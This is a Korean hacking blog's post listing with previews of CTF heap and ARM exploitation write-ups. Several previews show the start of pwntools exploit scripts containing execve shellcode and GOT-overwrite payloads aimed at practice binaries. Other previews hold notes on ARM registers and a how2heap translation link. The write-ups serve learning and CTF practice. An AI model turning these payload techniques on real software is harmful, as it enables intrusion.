목록Lab (221)
cdor1's lab
후기 : malloc을 엄청 해주고 또 free를 엄청 해주는데 그 중간에서 하나의 청크를 오버플로우 시키는 문제였다.double free bug에 대한 기술적 접근으론 매우 똑똑한 문제였던 것 같다. 이런 느낌의 문제가 ctf에서 나온다면 잘 풀 자신감이 생겼다! from pwn import * s = remote('localhost', 4000) elf = ELF('/home/cdor1/pwnable/babyfirst-heap') exit = 0x804c8ac shellcode = '\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80' print s.r..
후기 : 화이트햇 예선때 못 풀었던 문제이다. 풀면서 힙에 대한 공부를 많이 하게된 것 같아 좋다. from pwn import * s = remote('localhost', 4000) #elf = ELF('/home/cdor1/pwnable/malloc') #dummy = 'A%sA%nA%(A%)A%;A%0A%1A%2A%3A%4A%' stack = int(s.recvline().split(':')[1],16) get_flag = 0x400986 print '[*] stack : ' + hex(stack) for i in range(0,2): print s.recvuntil('>') s.sendline('1') print s.recvuntil(':') s.sendline('32') s.sendline('..
후기 : s0ngsari형님의 블로그를 구경하다가 재미있어보이는 힙 문제들이 많아 나도 풀어보려고 했다. malloc청크의 포인터를 덮어쓰는 문제였다. 컴돌이의 힙알못 탈출기 시작합니다~ from pwn import * s = remote('localhost', 4000) elf = ELF('/home/cdor1/pwnable/exp100') exit_got = elf.got['exit'] dest = 0x400826 pay = 'A'*40 pay += p64(exit_got) + '\n' pay += p64(dest) s.sendline(pay) s.interactive()
직접 번역한 how2heap 번역본입니다.오역 있을 수 있습니다. https://github.com/shellphish/how2heap-원본 주소-
후기 : ret2zp라는 기법을 알고 x86이랑은 다르게 인자 처리가 더욱 심화되서 어찌해야할지 매우 막막했는데 도현이의 write-up을 참고하고 안보고 따라 짜보면서 arm rop에 대해 많이 익숙해진 것 같다. Special Thanks to 김도현 from pwn import * sori_pi = ssh(host='sori', port=1234, user='x', password='x') elf = ELF('/home/cdor1/pwnable/pwn') libc = ELF('/home/cdor1/pwnable/sori_libc.so.6') t = sori_pi.run('/home/cdor1/pwn') buf = 0x10710 exit = elf.plt['exit'] exit_got = elf.go..
http://www.easyspub.co.kr/12_Menu/BoardView/C200/277
-레지스터- 16개 범용 레지스터 r0~r12 -연산명령과 같은 범용 r13(sp), r14(lr), r15(pc), cpsr - 특수 목적(연산에서 사용) 1개의 cpsr privilege 모드의 경우 각각 1개의 spsr r13(sp 스택)r14(lr 함수 호출시 복귀할 주소)r15(pc 수행할 위치 저장)CPSR(1개의 프로세서가 수행하고 있는 현재의 동작 상태)SPSR(이전 모드의 CPSR 복사본) [출처] 임베디드 어셈블리어 ARM 레지스터 종류 및 PSR 레지스터 정보|작성자 콤달이(모드마다 사용되는 레지스터의 수가 다름) -모드-User : Normal Program execution mode(노말 모드(프로그램 실행시))System : Run privileged operating syste..
보호되어 있는 글입니다.
보호되어 있는 글입니다.
후기 : PIE, SSP, NX모두 걸린 바이너리에서의 익스플로잇을 성공했다!되게 신기한 방식으로 취약점이 터져서 정말 참신했던 문제같다.재밌게 풀었는데 vi bookstoreex.py 해야되는거 rm 했다. ㅎㅎ시간 나면 다시 짜서 올려야지 하아 (복구 완료!) Tip! rm으로 지운 파일을 debugfs라는 프로그램을 이용해서 복구할수 있지만 ext4파일시스템에서는 잘 통하지 않는다.ext4파일시스템에서는 extundelete를 사용하도록 하자.(http://sourceforge.net/projects/extundelete/files/extundelete-0.2.4.tar.bz2) from pwn import * s = remote('localhost',4000) print s.recvuntil(':..